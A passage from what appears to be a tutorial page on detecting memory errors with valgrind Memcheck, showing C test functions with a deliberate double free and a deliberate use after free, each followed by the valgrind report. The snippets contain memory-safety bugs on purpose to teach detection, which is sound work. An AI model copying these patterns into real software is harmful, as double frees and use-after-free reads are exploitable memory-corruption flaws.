<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">valgrind --leak-check<span class="o">=</span>full --show-leak-kinds<span class="o">=</span>all ./build/build_out/target/test
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">118</span><span class="o">==</span> Memcheck, a memory error <span class="nv">detector</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">118</span><span class="o">==</span> Copyright <span class="o">(</span>C<span class="o">)</span> 2002-2017, and GNU GPL<span class="s1">&#39;d, by Julian Seward et al.
</span></span></span><span class="line"><span class="cl"><span class="s1">==118== Using Valgrind-3.15.0 and LibVEX; rerun with -h for copyright info
</span></span></span><span class="line"><span class="cl"><span class="s1">==118== Command: ./build/build_out/target/test
</span></span></span><span class="line"><span class="cl"><span class="s1">==118==
</span></span></span><span class="line"><span class="cl"><span class="s1">==118== Invalid read of size 1
</span></span></span><span class="line"><span class="cl"><span class="s1">==118==    at 0x10A5AD: test_memory (in /mnt/d/workspace/lwiniparser/build/build_out/target/test)
</span></span></span><span class="line"><span class="cl"><span class="s1">==118==    by 0x10A5EB: test_parser (in /mnt/d/workspace/lwiniparser/build/build_out/target/test)
</span></span></span><span class="line"><span class="cl"><span class="s1">==118==    by 0x10A606: main (in /mnt/d/workspace/lwiniparser/build/build_out/target/test)
</span></span></span><span class="line"><span class="cl"><span class="s1">==118==  Address 0x4a52c3a is 0 bytes after a block of size 10 alloc&#39;</span><span class="nv">d</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">118</span><span class="o">==</span>    at 0x483B7F3: malloc <span class="o">(</span>in /usr/lib/x86_64-linux-gnu/valgrind/vgpreload_memcheck-amd64-linux.so<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">118</span><span class="o">==</span>    by 0x10A57C: test_memory <span class="o">(</span>in /mnt/d/workspace/lwiniparser/build/build_out/target/test<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">118</span><span class="o">==</span>    by 0x10A5EB: test_parser <span class="o">(</span>in /mnt/d/workspace/lwiniparser/build/build_out/target/test<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">118</span><span class="o">==</span>    by 0x10A606: main <span class="o">(</span>in /mnt/d/workspace/lwiniparser/build/build_out/target/test<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">118</span><span class="o">==</span>
</span></span><span class="line"><span class="cl">test_data:
</span></span><span class="line"><span class="cl"><span class="nb">test</span> count:36, <span class="nb">test</span> passed:36, 100.00%
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">118</span><span class="o">==</span> 
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">118</span><span class="o">==</span> HEAP SUMMARY:
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">118</span><span class="o">==</span>     in use at exit: <span class="m">0</span> bytes in <span class="m">0</span> <span class="nv">blocks</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">118</span><span class="o">==</span>   total heap usage: <span class="m">181</span> allocs, <span class="m">181</span> frees, 27,734 bytes <span class="nv">allocated</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">118</span><span class="o">==</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">118</span><span class="o">==</span> All heap blocks were freed -- no leaks are <span class="nv">possible</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">118</span><span class="o">==</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">118</span><span class="o">==</span> For lists of detected and suppressed errors, rerun with: -s
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">118</span><span class="o">==</span> ERROR SUMMARY: <span class="m">1</span> errors from <span class="m">1</span> contexts <span class="o">(</span>suppressed: <span class="m">0</span> from 0<span class="o">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div></li>
<li>
<p>double free</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span><span class="lnt">9
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">test_memory</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">char</span> <span class="o">*</span><span class="n">test_data</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">test_data</span> <span class="o">=</span> <span class="nf">malloc</span><span class="p">(</span><span class="mi">10</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">memset</span><span class="p">(</span><span class="n">test_data</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">10</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">strcpy</span><span class="p">(</span><span class="n">test_data</span><span class="p">,</span> <span class="s">&#34;test&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">free</span><span class="p">(</span><span class="n">test_data</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">free</span><span class="p">(</span><span class="n">test_data</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">valgrind --leak-check<span class="o">=</span>full --show-leak-kinds<span class="o">=</span>all ./build/build_out/target/test
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">177</span><span class="o">==</span> Memcheck, a memory error <span class="nv">detector</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">177</span><span class="o">==</span> Copyright <span class="o">(</span>C<span class="o">)</span> 2002-2017, and GNU GPL<span class="s1">&#39;d, by Julian Seward et al.
</span></span></span><span class="line"><span class="cl"><span class="s1">==177== Using Valgrind-3.15.0 and LibVEX; rerun with -h for copyright info
</span></span></span><span class="line"><span class="cl"><span class="s1">==177== Command: ./build/build_out/target/test
</span></span></span><span class="line"><span class="cl"><span class="s1">==177==
</span></span></span><span class="line"><span class="cl"><span class="s1">==177== Invalid free() / delete / delete[] / realloc()
</span></span></span><span class="line"><span class="cl"><span class="s1">==177==    at 0x483CA3F: free (in /usr/lib/x86_64-linux-gnu/valgrind/vgpreload_memcheck-amd64-linux.so)
</span></span></span><span class="line"><span class="cl"><span class="s1">==177==    by 0x10A5BC: test_memory (in /mnt/d/workspace/lwiniparser/build/build_out/target/test)
</span></span></span><span class="line"><span class="cl"><span class="s1">==177==    by 0x10A5D6: test_parser (in /mnt/d/workspace/lwiniparser/build/build_out/target/test)
</span></span></span><span class="line"><span class="cl"><span class="s1">==177==    by 0x10A5F1: main (in /mnt/d/workspace/lwiniparser/build/build_out/target/test)
</span></span></span><span class="line"><span class="cl"><span class="s1">==177==  Address 0x4a52c30 is 0 bytes inside a block of size 10 free&#39;</span><span class="nv">d</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">177</span><span class="o">==</span>    at 0x483CA3F: free <span class="o">(</span>in /usr/lib/x86_64-linux-gnu/valgrind/vgpreload_memcheck-amd64-linux.so<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">177</span><span class="o">==</span>    by 0x10A5B0: test_memory <span class="o">(</span>in /mnt/d/workspace/lwiniparser/build/build_out/target/test<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">177</span><span class="o">==</span>    by 0x10A5D6: test_parser <span class="o">(</span>in /mnt/d/workspace/lwiniparser/build/build_out/target/test<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">177</span><span class="o">==</span>    by 0x10A5F1: main <span class="o">(</span>in /mnt/d/workspace/lwiniparser/build/build_out/target/test<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">177</span><span class="o">==</span>  Block was alloc<span class="err">&#39;</span>d <span class="nv">at</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">177</span><span class="o">==</span>    at 0x483B7F3: malloc <span class="o">(</span>in /usr/lib/x86_64-linux-gnu/valgrind/vgpreload_memcheck-amd64-linux.so<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">177</span><span class="o">==</span>    by 0x10A57C: test_memory <span class="o">(</span>in /mnt/d/workspace/lwiniparser/build/build_out/target/test<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">177</span><span class="o">==</span>    by 0x10A5D6: test_parser <span class="o">(</span>in /mnt/d/workspace/lwiniparser/build/build_out/target/test<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">177</span><span class="o">==</span>    by 0x10A5F1: main <span class="o">(</span>in /mnt/d/workspace/lwiniparser/build/build_out/target/test<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">177</span><span class="o">==</span>
</span></span><span class="line"><span class="cl"><span class="nb">test</span> count:36, <span class="nb">test</span> passed:36, 100.00%
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">177</span><span class="o">==</span> 
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">177</span><span class="o">==</span> HEAP SUMMARY:
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">177</span><span class="o">==</span>     in use at exit: <span class="m">0</span> bytes in <span class="m">0</span> <span class="nv">blocks</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">177</span><span class="o">==</span>   total heap usage: <span class="m">181</span> allocs, <span class="m">182</span> frees, 27,734 bytes <span class="nv">allocated</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">177</span><span class="o">==</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">177</span><span class="o">==</span> All heap blocks were freed -- no leaks are <span class="nv">possible</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">177</span><span class="o">==</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">177</span><span class="o">==</span> For lists of detected and suppressed errors, rerun with: -s
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">177</span><span class="o">==</span> ERROR SUMMARY: <span class="m">1</span> errors from <span class="m">1</span> contexts <span class="o">(</span>suppressed: <span class="m">0</span> from 0<span class="o">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div></li>
<li>
<p>use after free</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span><span class="lnt">9
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">test_memory</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">char</span> <span class="o">*</span><span class="n">test_data</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">test_data</span> <span class="o">=</span> <span class="nf">malloc</span><span class="p">(</span><span class="mi">10</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">memset</span><span class="p">(</span><span class="n">test_data</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">10</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">strcpy</span><span class="p">(</span><span class="n">test_data</span><span class="p">,</span> <span class="s">&#34;test&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">free</span><span class="p">(</span><span class="n">test_data</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;test_data:%s</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">test_data</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">  1
</span><span class="lnt">  2
</span><span class="lnt">  3
</span><span class="lnt">  4
</span><span class="lnt">  5
</span><span class="lnt">  6
</span><span class="lnt">  7
</span><span class="lnt">  8
</span><span class="lnt">  9
</span><span class="lnt"> 10
</span><span class="lnt"> 11
</span><span class="lnt"> 12
</span><span class="lnt"> 13
</span><span class="lnt"> 14
</span><span class="lnt"> 15
</span><span class="lnt"> 16
</span><span class="lnt"> 17
</span><span class="lnt"> 18
</span><span class="lnt"> 19
</span><span class="lnt"> 20
</span><span class="lnt"> 21
</span><span class="lnt"> 22
</span><span class="lnt"> 23
</span><span class="lnt"> 24
</span><span class="lnt"> 25
</span><span class="lnt"> 26
</span><span class="lnt"> 27
</span><span class="lnt"> 28
</span><span class="lnt"> 29
</span><span class="lnt"> 30
</span><span class="lnt"> 31
</span><span class="lnt"> 32
</span><span class="lnt"> 33
</span><span class="lnt"> 34
</span><span class="lnt"> 35
</span><span class="lnt"> 36
</span><span class="lnt"> 37
</span><span class="lnt"> 38
</span><span class="lnt"> 39
</span><span class="lnt"> 40
</span><span class="lnt"> 41
</span><span class="lnt"> 42
</span><span class="lnt"> 43
</span><span class="lnt"> 44
</span><span class="lnt"> 45
</span><span class="lnt"> 46
</span><span class="lnt"> 47
</span><span class="lnt"> 48
</span><span class="lnt"> 49
</span><span class="lnt"> 50
</span><span class="lnt"> 51
</span><span class="lnt"> 52
</span><span class="lnt"> 53
</span><span class="lnt"> 54
</span><span class="lnt"> 55
</span><span class="lnt"> 56
</span><span class="lnt"> 57
</span><span class="lnt"> 58
</span><span class="lnt"> 59
</span><span class="lnt"> 60
</span><span class="lnt"> 61
</span><span class="lnt"> 62
</span><span class="lnt"> 63
</span><span class="lnt"> 64
</span><span class="lnt"> 65
</span><span class="lnt"> 66
</span><span class="lnt"> 67
</span><span class="lnt"> 68
</span><span class="lnt"> 69
</span><span class="lnt"> 70
</span><span class="lnt"> 71
</span><span class="lnt"> 72
</span><span class="lnt"> 73
</span><span class="lnt"> 74
</span><span class="lnt"> 75
</span><span class="lnt"> 76
</span><span class="lnt"> 77
</span><span class="lnt"> 78
</span><span class="lnt"> 79
</span><span class="lnt"> 80
</span><span class="lnt"> 81
</span><span class="lnt"> 82
</span><span class="lnt"> 83
</span><span class="lnt"> 84
</span><span class="lnt"> 85
</span><span class="lnt"> 86
</span><span class="lnt"> 87
</span><span class="lnt"> 88
</span><span class="lnt"> 89
</span><span class="lnt"> 90
</span><span class="lnt"> 91
</span><span class="lnt"> 92
</span><span class="lnt"> 93
</span><span class="lnt"> 94
</span><span class="lnt"> 95
</span><span class="lnt"> 96
</span><span class="lnt"> 97
</span><span class="lnt"> 98
</span><span class="lnt"> 99
</span><span class="lnt">100
</span><span class="lnt">101
</span><span class="lnt">102
</span><span class="lnt">103
</span><span class="lnt">104
</span><span class="lnt">105
</span><span class="lnt">106
</span><span class="lnt">107
</span><span class="lnt">108
</span><span class="lnt">109
</span><span class="lnt">110
</span><span class="lnt">111
</span><span class="lnt">112
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">valgrind --leak-check<span class="o">=</span>full --show-leak-kinds<span class="o">=</span>all ./build/build_out/target/test
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">330</span><span class="o">==</span> Memcheck, a memory error <span class="nv">detector</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">330</span><span class="o">==</span> Copyright <span class="o">(</span>C<span class="o">)</span> 2002-2017, and GNU GPL<span class="s1">&#39;d, by Julian Seward et al.
</span></span></span><span class="line"><span class="cl"><span class="s1">==330== Using Valgrind-3.15.0 and LibVEX; rerun with -h for copyright info
</span></span></span><span class="line"><span class="cl"><span class="s1">==330== Command: ./build/build_out/target/test
</span></span></span><span class="line"><span class="cl"><span class="s1">==330==
</span></span></span><span class="line"><span class="cl"><span class="s1">==330== Invalid read of size 1
</span></span></span><span class="line"><span class="cl"><span class="s1">==330==    at 0x483EF46: strlen (in /usr/lib/x86_64-linux-gnu/valgrind/vgpreload_memcheck-amd64-linux.so)
</span></span></span><span class="line"><span class="cl"><span class="s1">==330==    by 0x48CCD14: __vfprintf_internal (vfprintf-internal.c:1688)
</span></span></span><span class="line"><span class="cl"><span class="s1">==330==    by 0x48B5D3E: printf (printf.c:33)
</span></span></span><span class="line"><span class="cl"><span class="s1">==330==    by 0x10A5C8: test_memory (in /mnt/d/workspace/lwiniparser/build/build_out/target/test)
</span></span></span><span class="line"><span class="cl"><span class="s1">==330==    by 0x10A5E2: test_parser (in /mnt/d/workspace/lwiniparser/build/build_out/target/test)
</span></span></span><span class="line"><span class="cl"><span class="s1">==330==    by 0x10A5FD: main (in /mnt/d/workspace/lwiniparser/build/build_out/target/test)
</span></span></span><span class="line"><span class="cl"><span class="s1">==330==  Address 0x4a52c30 is 0 bytes inside a block of size 10 free&#39;</span><span class="nv">d</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">330</span><span class="o">==</span>    at 0x483CA3F: free <span class="o">(</span>in /usr/lib/x86_64-linux-gnu/valgrind/vgpreload_memcheck-amd64-linux.so<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">330</span><span class="o">==</span>    by 0x10A5B0: test_memory <span class="o">(</span>in /mnt/d/workspace/lwiniparser/build/build_out/target/test<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">330</span><span class="o">==</span>    by 0x10A5E2: test_parser <span class="o">(</span>in /mnt/d/workspace/lwiniparser/build/build_out/target/test<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">330</span><span class="o">==</span>    by 0x10A5FD: main <span class="o">(</span>in /mnt/d/workspace/lwiniparser/build/build_out/target/test<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">330</span><span class="o">==</span>  Block was alloc<span class="s1">&#39;d at
</span></span></span><span class="line"><span class="cl"><span class="s1">==330==    at 0x483B7F3: malloc (in /usr/lib/x86_64-linux-gnu/valgrind/vgpreload_memcheck-amd64-linux.so)
</span></span></span><span class="line"><span class="cl"><span class="s1">==330==    by 0x10A57C: test_memory (in /mnt/d/workspace/lwiniparser/build/build_out/target/test)
</span></span></span><span class="line"><span class="cl"><span class="s1">==330==    by 0x10A5E2: test_parser (in /mnt/d/workspace/lwiniparser/build/build_out/target/test)
</span></span></span><span class="line"><span class="cl"><span class="s1">==330==    by 0x10A5FD: main (in /mnt/d/workspace/lwiniparser/build/build_out/target/test)
</span></span></span><span class="line"><span class="cl"><span class="s1">==330==
</span></span></span><span class="line"><span class="cl"><span class="s1">==330== Invalid read of size 1
</span></span></span><span class="line"><span class="cl"><span class="s1">==330==    at 0x483EF54: strlen (in /usr/lib/x86_64-linux-gnu/valgrind/vgpreload_memcheck-amd64-linux.so)
</span></span></span><span class="line"><span class="cl"><span class="s1">==330==    by 0x48CCD14: __vfprintf_internal (vfprintf-internal.c:1688)
</span></span></span><span class="line"><span class="cl"><span class="s1">==330==    by 0x48B5D3E: printf (printf.c:33)
</span></span></span><span class="line"><span class="cl"><span class="s1">==330==    by 0x10A5C8: test_memory (in /mnt/d/workspace/lwiniparser/build/build_out/target/test)
</span></span></span><span class="line"><span class="cl"><span class="s1">==330==    by 0x10A5E2: test_parser (in /mnt/d/workspace/lwiniparser/build/build_out/target/test)
</span></span></span><span class="line"><span class="cl"><span class="s1">==330==    by 0x10A5FD: main (in /mnt/d/workspace/lwiniparser/build/build_out/target/test)
</span></span></span><span class="line"><span class="cl"><span class="s1">==330==  Address 0x4a52c31 is 1 bytes inside a block of size 10 free&#39;</span><span class="nv">d</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">330</span><span class="o">==</span>    at 0x483CA3F: free <span class="o">(</span>in /usr/lib/x86_64-linux-gnu/valgrind/vgpreload_memcheck-amd64-linux.so<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">330</span><span class="o">==</span>    by 0x10A5B0: test_memory <span class="o">(</span>in /mnt/d/workspace/lwiniparser/build/build_out/target/test<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">330</span><span class="o">==</span>    by 0x10A5E2: test_parser <span class="o">(</span>in /mnt/d/workspace/lwiniparser/build/build_out/target/test<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">330</span><span class="o">==</span>    by 0x10A5FD: main <span class="o">(</span>in /mnt/d/workspace/lwiniparser/build/build_out/target/test<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">330</span><span class="o">==</span>  Block was alloc<span class="s1">&#39;d at
</span></span></span><span class="line"><span class="cl"><span class="s1">==330==    at 0x483B7F3: malloc (in /usr/lib/x86_64-linux-gnu/valgrind/vgpreload_memcheck-amd64-linux.so)
</span></span></span><span class="line"><span class="cl"><span class="s1">==330==    by 0x10A57C: test_memory (in /mnt/d/workspace/lwiniparser/build/build_out/target/test)
</span></span></span><span class="line"><span class="cl"><span class="s1">==330==    by 0x10A5E2: test_parser (in /mnt/d/workspace/lwiniparser/build/build_out/target/test)
</span></span></span><span class="line"><span class="cl"><span class="s1">==330==    by 0x10A5FD: main (in /mnt/d/workspace/lwiniparser/build/build_out/target/test)
</span></span></span><span class="line"><span class="cl"><span class="s1">==330==
</span></span></span><span class="line"><span class="cl"><span class="s1">==330== Invalid read of size 1
</span></span></span><span class="line"><span class="cl"><span class="s1">==330==    at 0x48E370C: _IO_new_file_xsputn (fileops.c:1219)
</span></span></span><span class="line"><span class="cl"><span class="s1">==330==    by 0x48E370C: _IO_file_xsputn@@GLIBC_2.2.5 (fileops.c:1197)
</span></span></span><span class="line"><span class="cl"><span class="s1">==330==    by 0x48CB0FB: __vfprintf_internal (vfprintf-internal.c:1688)
</span></span></span><span class="line"><span class="cl"><span class="s1">==330==    by 0x48B5D3E: printf (printf.c:33)
</span></span></span><span class="line"><span class="cl"><span class="s1">==330==    by 0x10A5C8: test_memory (in /mnt/d/workspace/lwiniparser/build/build_out/target/test)
</span></span></span><span class="line"><span class="cl"><span class="s1">==330==    by 0x10A5E2: test_parser (in /mnt/d/workspace/lwiniparser/build/build_out/target/test)
</span></span></span><span class="line"><span class="cl"><span class="s1">==330==    by 0x10A5FD: main (in /mnt/d/workspace/lwiniparser/build/build_out/target/test)
</span></span></span><span class="line"><span class="cl"><span class="s1">==330==  Address 0x4a52c33 is 3 bytes inside a block of size 10 free&#39;</span><span class="nv">d</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">330</span><span class="o">==</span>    at 0x483CA3F: free <span class="o">(</span>in /usr/lib/x86_64-linux-gnu/valgrind/vgpreload_memcheck-amd64-linux.so<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">330</span><span class="o">==</span>    by 0x10A5B0: test_memory <span class="o">(</span>in /mnt/d/workspace/lwiniparser/build/build_out/target/test<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">330</span><span class="o">==</span>    by 0x10A5E2: test_parser <span class="o">(</span>in /mnt/d/workspace/lwiniparser/build/build_out/target/test<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">330</span><span class="o">==</span>    by 0x10A5FD: main <span class="o">(</span>in /mnt/d/workspace/lwiniparser/build/build_out/target/test<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">330</span><span class="o">==</span>  Block was alloc<span class="s1">&#39;d at
</span></span></span><span class="line"><span class="cl"><span class="s1">==330==    at 0x483B7F3: malloc (in /usr/lib/x86_64-linux-gnu/valgrind/vgpreload_memcheck-amd64-linux.so)
</span></span></span><span class="line"><span class="cl"><span class="s1">==330==    by 0x10A57C: test_memory (in /mnt/d/workspace/lwiniparser/build/build_out/target/test)
</span></span></span><span class="line"><span class="cl"><span class="s1">==330==    by 0x10A5E2: test_parser (in /mnt/d/workspace/lwiniparser/build/build_out/target/test)
</span></span></span><span class="line"><span class="cl"><span class="s1">==330==    by 0x10A5FD: main (in /mnt/d/workspace/lwiniparser/build/build_out/target/test)
</span></span></span><span class="line"><span class="cl"><span class="s1">==330==
</span></span></span><span class="line"><span class="cl"><span class="s1">==330== Invalid read of size 1
</span></span></span><span class="line"><span class="cl"><span class="s1">==330==    at 0x48436A0: mempcpy (in /usr/lib/x86_64-linux-gnu/valgrind/vgpreload_memcheck-amd64-linux.so)
</span></span></span><span class="line"><span class="cl"><span class="s1">==330==    by 0x48E3631: _IO_new_file_xsputn (fileops.c:1236)
</span></span></span><span class="line"><span class="cl"><span class="s1">==330==    by 0x48E3631: _IO_file_xsputn@@GLIBC_2.2.5 (fileops.c:1197)
</span></span></span><span class="line"><span class="cl"><span class="s1">==330==    by 0x48CB0FB: __vfprintf_internal (vfprintf-internal.c:1688)
</span></span></span><span class="line"><span class="cl"><span class="s1">==330==    by 0x48B5D3E: printf (printf.c:33)
</span></span></span><span class="line"><span class="cl"><span class="s1">==330==    by 0x10A5C8: test_memory (in /mnt/d/workspace/lwiniparser/build/build_out/target/test)
</span></span></span><span class="line"><span class="cl"><span class="s1">==330==    by 0x10A5E2: test_parser (in /mnt/d/workspace/lwiniparser/build/build_out/target/test)
</span></span></span><span class="line"><span class="cl"><span class="s1">==330==    by 0x10A5FD: main (in /mnt/d/workspace/lwiniparser/build/build_out/target/test)
</span></span></span><span class="line"><span class="cl"><span class="s1">==330==  Address 0x4a52c33 is 3 bytes inside a block of size 10 free&#39;</span><span class="nv">d</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">330</span><span class="o">==</span>    at 0x483CA3F: free <span class="o">(</span>in /usr/lib/x86_64-linux-gnu/valgrind/vgpreload_memcheck-amd64-linux.so<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">330</span><span class="o">==</span>    by 0x10A5B0: test_memory <span class="o">(</span>in /mnt/d/workspace/lwiniparser/build/build_out/target/test<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">330</span><span class="o">==</span>    by 0x10A5E2: test_parser <span class="o">(</span>in /mnt/d/workspace/lwiniparser/build/build_out/target/test<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">330</span><span class="o">==</span>    by 0x10A5FD: main <span class="o">(</span>in /mnt/d/workspace/lwiniparser/build/build_out/target/test<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">330</span><span class="o">==</span>  Block was alloc<span class="s1">&#39;d at
</span></span></span><span class="line"><span class="cl"><span class="s1">==330==    at 0x483B7F3: malloc (in /usr/lib/x86_64-linux-gnu/valgrind/vgpreload_memcheck-amd64-linux.so)
</span></span></span><span class="line"><span class="cl"><span class="s1">==330==    by 0x10A57C: test_memory (in /mnt/d/workspace/lwiniparser/build/build_out/target/test)
</span></span></span><span class="line"><span class="cl"><span class="s1">==330==    by 0x10A5E2: test_parser (in /mnt/d/workspace/lwiniparser/build/build_out/target/test)
</span></span></span><span class="line"><span class="cl"><span class="s1">==330==    by 0x10A5FD: main (in /mnt/d/workspace/lwiniparser/build/build_out/target/test)
</span></span></span><span class="line"><span class="cl"><span class="s1">==330==
</span></span></span><span class="line"><span class="cl"><span class="s1">==330== Invalid read of size 1
</span></span></span><span class="line"><span class="cl"><span class="s1">==330==    at 0x48436B2: mempcpy (in /usr/lib/x86_64-linux-gnu/valgrind/vgpreload_memcheck-amd64-linux.so)
</span></span></span><span class="line"><span class="cl"><span class="s1">==330==    by 0x48E3631: _IO_new_file_xsputn (fileops.c:1236)
</span></span></span><span class="line"><span class="cl"><span class="s1">==330==    by 0x48E3631: _IO_file_xsputn@@GLIBC_2.2.5 (fileops.c:1197)
</span></span></span><span class="line"><span class="cl"><span class="s1">==330==    by 0x48CB0FB: __vfprintf_internal (vfprintf-internal.c:1688)
